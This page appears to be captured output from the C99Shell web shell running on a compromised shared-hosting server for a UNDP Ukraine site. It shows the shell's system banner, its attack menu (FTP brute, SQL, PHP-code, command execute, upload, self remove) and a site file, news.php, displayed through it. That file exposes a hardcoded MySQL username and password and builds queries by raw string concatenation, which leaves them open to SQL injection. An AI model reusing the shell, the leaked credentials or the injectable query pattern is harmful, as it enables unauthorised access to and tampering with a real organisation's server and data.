!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/   drwxr-xr-x
Free 105.89 GB of 200.55 GB (52.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     news.php (3.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
  
class DB
  
{
      public static function 
Insert($conn$table$arr)
      {
          
$fields implode(","array_keys($arr));
          
$values "'".implode("','"array_values($arr))."'";
          
$sql "INSERT INTO {$table} ({$fields}) VALUES ({$values})";
          echo 
$sql;
          
mysql_query($sql$conn);
          return 
mysql_insert_id();
      }
      public static function 
Select($table$selectFields = array("*"), $whereFields = array())
      {
          
$fields implode(","$selectFields);    
          
$where "";
          if (
count($whereFields) > 0)
          {
              
$parts = array();
              foreach(
$whereFields as $key => $value)
                 
$parts[] = "{$key} = '{$value}'";
              
$where "WHERE ".implode(" AND "$parts);
          }
          
$sql "SELECT {$fields} FROM {$table} {$where}"
          
//echo $sql;
          
$res mysql_query($sql);
          
$rows = array();
          while (
$row mysql_fetch_assoc($res))
              
$rows[] = $row;
          return 
$rows;
      }
      public static function 
ddd()
      {
           
      }
      public static function 
Delete($table$whereFields = array())
      {
          if (
count($whereFields) > 0)
          {
                
$where "";
                
$parts = array();
              foreach(
$whereFields as $key => $value)
                 
$parts[] = "{$key} = '{$value}'";
              
$where "WHERE ".implode(" AND "$parts);
                
$sql "DELETE FROM {$table} {$where}"
              
$res mysql_query($sql);
              return 
mysql_affected_rows();
          }
          return 
0;
      }
      public static function 
Update($table$updateFields = array(), $whereFields = array())
      {
          if (
count($updateFields) > && count($whereFields) > 0)
          {
              
$parts = array();
              foreach(
$whereFields as $key => $value)
                 
$parts[] = "{$key} = '{$value}'";
              
$where "WHERE ".implode("AND"$parts);
            
              
$parts = array();
              foreach(
$updateFields as $key => $value)
                 
$parts[] = "{$key} = '{$value}'";
              
$fields implode(","$parts);              
                
              
$sql "UPDATE {$table} SET {$fields} {$where}";               
              
$res mysql_query($sql);
              return 
mysql_affected_rows();
          }
          return 
0;
      }
      public static function 
Count($table$whereFields = array())
      {
          
$rows DB::Select($table, array("COUNT(*) as rows_count"), $whereFields);
          return 
$rows[0]["rows_count"];
      }
  }

 
$conn1 mysql_connect("localhost""morozov""mav1024");
 
mysql_select_db("msdp_old");
 
mysql_query("SET NAMES cp1251");

 
$res mysql_query("SELECT * FROM AMCMS_news");
 
$rows = array();
while(
$row mysql_fetch_assoc($res))
{
    
$row['news_text_ukr'] = mysql_real_escape_string(file_get_contents("http://old-msdp.am-cms.com/data/news/{$row['news_id']}.ukr"));
    
$row['news_text_eng'] = mysql_real_escape_string(file_get_contents("http://old-msdp.am-cms.com/data/news/{$row['news_id']}.eng"));
    
$row['news_short_text_ukr'] = mysql_real_escape_string($row['news_short_text_ukr']);
    
$row['news_short_text_eng'] = mysql_real_escape_string($row['news_short_text_eng']);
    
$row['news_title_ukr'] = mysql_real_escape_string($row['news_title_ukr']);
    
$row['news_title_eng'] = mysql_real_escape_string($row['news_title_eng']);
    
$rows[] = $row
}

 
mysql_select_db("msdp"$conn1);
 
//mysql_query("SET NAMES utf8", $conn1);

for($i 0$i count($rows); $i++)
{
    
DB::Insert($conn1"AMCMS_news"$rows[$i]);    
    
//var_dump($rows[$i]);
    
echo mysql_error();
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0431 ]--